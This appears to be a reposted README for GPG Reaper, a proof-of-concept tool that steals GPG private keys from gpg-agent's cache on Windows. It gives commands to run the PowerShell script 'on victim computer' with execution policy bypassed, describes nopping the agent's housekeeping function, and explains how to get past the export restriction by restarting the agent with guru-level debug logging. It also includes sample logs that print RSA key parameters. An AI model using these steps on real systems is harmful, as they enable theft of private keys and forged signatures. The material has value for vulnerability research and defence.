GPG Reaper - Obtain/Steal/Restore GPG Private Keys From Gpg-Agent Cache/Memory - Hacking Land

Obtain/Steal/Restore GPG Private Keys from gpg-agent cache/memory

This POC demonstrates method for obtaining GPG private keys from gpg-agent memory under Windows.
Normally this should be possible only within 10 minutes time frame (--default-cache-ttl value).
Unfortunately housekeeping() function (which is responsible for cache cleanup) is executed only if you are using GPG (there is no timer there).
This means that in normal GPG usecase like: you sign some file then close GUI and do other task you password is still in gpg-agent memory (even if ttl expired).
Attacker, who has access to your current session, can use this for stealing private key without knowing your passphrase.

Installation

pip install PGPy

If you got:

TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:

then:

pip install six==1.10.0

Test
1. Install Gpg4Win 3.0.3
2. Open command line and start agent with 2 seconds cache time:

cd c:\Program Files (x86)\GnuPG\bin
 taskkill /im gpg-agent.exe /F
 gpg-agent.exe --daemon --default-cache-ttl 2

3. Run Kleopatra and generate new key pair

4. Sign some example test file

5. Pinetry will popup and ask you for passphrase

6. Repeat step 4-5. Each time pinetry shows up because our 2 seconds cache expired
7. Run GPG reaper

powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt

You will see something like:

[+] Detect GPG version 3.0.3
 [*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
 [*] Readed housekeeping bytes: 55
 [+] Find sec key
 [+] Check key grip:
 [*] uid           [ultimate] Adam Nowak <[email protected]>
 [+] Found public key
 [*] Allocate memory at: 2d00000
 [+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
 [+] Key dumped
 [*] Kill background Job
 [*] Restore bytes

As you can see we dump key. This is possible because we nopped the housekeeping function.
8. Restore private key:

python gpg_reaper.py .\testme.txt

Private key is dumped to the file:

[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>

Introduction
GPG-Agent is a daemon to manage private keys independently from any protocol.
GUI interface communicates with agent using Assuan Protocol.
By default agent caches your credentials.
--default-cache-ttl n option set the time a cache entry is valid to n seconds.
The default is 600 seconds. Each time a cache entry is accessed, its timer is reseted.
Under Windows sign process looks like this:

Crucial part here is housekeeping() function which is responsible for removing expired credentials from the memory.
But there is one problem here: this function is executed only in two places (inside agent_put_cache and agent_get_cache).
This means that cached credentials are NOT removed from the memory until some gpg-agent commands which uses agent_put_cache or agent_get_cache or agent_flush_cache are executed.

Usage
On victim computer:

powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt

Transfer out.txt to your machine and restore private keys:

gpg_reaper.py out.txt

Private keys will be dumped into separate files.
If GPG is installed outside default directories:

Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe

If you don't want debug messages:

Gpg-Reaper -Verbose $false

Post exploitation on machine with GPG
Let's assume that you are doing penetration testing and you obtain shell on computer with GPG installed.
If you are lucky and user use GPG recently and cache not expire you can:
1. Sign some file:
Run c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

Get list of keys available on specific machine

KEYINFO --list
 S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -

Set keygrip and message hash

SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
 # SHA512 of the message
 SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
 PKSIGN

2. Export private key:
Run c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

Get wrapping key

KEYWRAP_KEY --export

Export a secret key from the key store. The key will be encrypted using the current session's key wrapping key using the AESWRAP-128 algorithm

EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2

Unfortunately this is not working as expected and ask for password.
Why? Because cmd_export_key() function is executing agent_key_from_file() with CACHE_MODE_IGNORE flag which means that cache won't be used and user is asked for passphrase each time.

Bypass private key export restriction
We know that it's not possible to export GPG key through gpg-agent without knowing password.
But there is little quirk here. Agent has few options available:
1. --debug-level
Select the debug level for investigating problems. level may be a numeric value or a keyword:

guru - All of the debug messages you can get.

2. --log-file file
Append all logging output to file. This is very helpful in seeing what the agent actually does.
Let's run agent using gpg-agent.exe --daemon --debug-level guru --log-file out.txt and sign some file.

2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SIGKEY 590A068768B6A5CB4DD81CD4828C72AD8427DFE4
 2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
 2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETKEYDESC Please+enter+the+passphrase+to+unlock+the+OpenPGP+secret+key:%0A%22adam+nowak+<[email protected]>%22%0A2048-bit+RSA+key,+ID+1308197BFDF95EAA,%0Acreated+2018-02-28.%0A
 2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
 2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETHASH 8 B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA
 2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
 2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- PKSIGN
 2018-03-04 18:21:15 gpg-agent[7180] DBG: agent_get_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) ...
 2018-03-04 18:21:15 gpg-agent[7180] DBG: ... miss
 2018-03-04 18:21:15 gpg-agent[7180] starting a new PIN Entry
 2018-03-04 18:21:15 gpg-agent[7180] DBG: connection to PIN entry established
 2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> INQUIRE PINENTRY_LAUNCHED 3736 qt 1.1.0 /dev/tty - -
 2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- END
 2018-03-04 18:21:18 gpg-agent[7180] DBG: agent_put_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) requested ttl=0
 2018-03-04 18:21:18 gpg-agent[7180] DBG: skey: (private-key
 2018-03-04 18:21:18 gpg-agent[7180] DBG:        (rsa
 2018-03-04 18:21:18 gpg-agent[7180] DBG:         (n #00EBF36EC96D941D126938C8BD7471F4BA4FF456A3034AD4EEBABABA3A6DE52445A2A67A4FB3DF8B90C6FD65D4B648D62749905DA1CEA7ECB8C31F7DC7ECF3B581668BA3041E6AD57DBE04D75E4C74612B310704B107AB49EE731FB991A7EE0B42E9BD4CD2FF09A2C5EC0AB13B4F53287706432BD03EFD5EA5AAC194CEF188018AAD3E394F14C587BB9A829E21EC39132652CED22B561EDB34E0E4FA64FD2E6035E035EA2592C2C89E71AD2B7A3B4BBFC14288D5448D6F7A64B37AB5AA80E5D34D03F9FC6375882D298DDBCB95F192C669DB141AA2B5F29F2DFC3B12DCB7385492C3EAD8F675901B78C69238A60E76163ED1130D9B4054A9A90AB8DA148280351F#)
 2018-03-04 18:21:18 gpg-agent[7180] DBG:         (e #010001#)
 2018-03-04 18:21:18 gpg-agent[7180] DBG:         (d #4B873C9EF0DB392524167FB7999742CA02FF095E9C16AFAB8D8D69407BDE1E2AC64279239B46032480762BCB17E09FE0AA9D3243B1E5B21280AF4B719C6974DFEBA5E63452D24AEDB9CE4DEC8B17B3E502082799CD8528A0D22C45181983CB0A0BCD4352C53DDDE3724807EC9EDB5538288286FB5DB6783E1AB765BD8AB6491B7021D17AEDD7494F902121C4B2C3BDB1447C0AABADD00FBD66EEC23882F9FC13DC967E6F1F5ABBAD9FA7E583360A31D3DAEC53CB46F981398CAAD511179E11B5BA04BDB79699AA58687287E9ABA9A820B22872C54078411A142AEA804497581AAD96FCBE4F01202AA4E687672973D26E7148AB7A269B60C68581817B1EB31DE5#)
 2018-03-04 18:21:18 gpg-agent[7180] DBG:         (p #00ED6EA59EE03412314BF288629568237A649FACC88C5D6E2F266A58D1CF6BA26254526F916FF7CFC6AF5B5ED0618CE00099DCFB9CB1F7C6BAD6945A8125ECD6A352E8056644A7336FFE2C203B098ED7767FD51101FD4842F1DED870DFD4D1F947D5FB7AB13E318C977AB875F86785F8B98260BB3BA1F6133D03C9296F22875E23#)
 2018-03-04 18:21:18 gpg-agent[7180] DBG:         (q #00FE67215C9C6FEF8C21C81A9B34AAB91FCD321D95E3641D7EFE4B89BBAD918CF94068AC89440147ED07E68EC65997568921DE740A504D2D99DDB997BE7DE09228678F544226F2D75F62447AECD7385773D9A7B0EF272B5CF4F32B4EFCB1B0B81893DE768B692D350CFB6B32A683DF773D66169A436DC233AD412FD438E366B6D5#)
 2018-03-04 18:21:18 gpg-agent[7180] DBG:         (u #17BA591E668D2D78B1C74E5820A9FE31481232D34B6EBBC2004767512AD4835A42B0621EBE6CD4359BFD9B8DDA3DF234471C99B1CF553EBCF5019452143360FEC051024E43063913DD7A36FA1CA12C02FEAF07C4A4DA50C5286264BC38333C85371B13C704B1FA0265FA4DF17CC1E02B9E37ACA7D72AE40413CA6E5548107299#)))
 2018-03-04 18:21:18 gpg-agent[7180] DBG: hash: (data
 2018-03-04 18:21:18 gpg-agent[7180] DBG:        (flags pkcs1)
 2018-03-04 18:21:18 gpg-agent[7180] DBG:        (hash sha256 #B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA#))

It looks like guru mode prints n, e, d, p, q and u numbers to log file. Knowing this we can calculate public and private key.
Internally skey value is print by gcry_log_debugsxp() when DBG_CRYPTO is set:

if (DBG_CRYPTO)
 {
   gcry_log_debugsxp ("skey", s_skey);
   gcry_log_debugsxp ("hash", s_hash);
 }

FAQ

Why PowerShell?

Because this file can be run without any external dependencies on most modern Windows systems.

GPG %file% not exist

gpg-connect-agent.exe, gpg-agent.exe or gpg.exe does not exist in default location.
You can try to specify custom location using:

Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe

No gpg-agent running

gpg-agent.exe is not running on this system so we cannot restore private key.

Unknown gpg-agent version, sha256:

Currently this script support only specific versions

No cached key

There is no cached key in memory so we cannot restore private key.

Attribution
Scythe icon made by Freepik from www.flaticon.com.
Solstice Of Suffering font by GraveTech.

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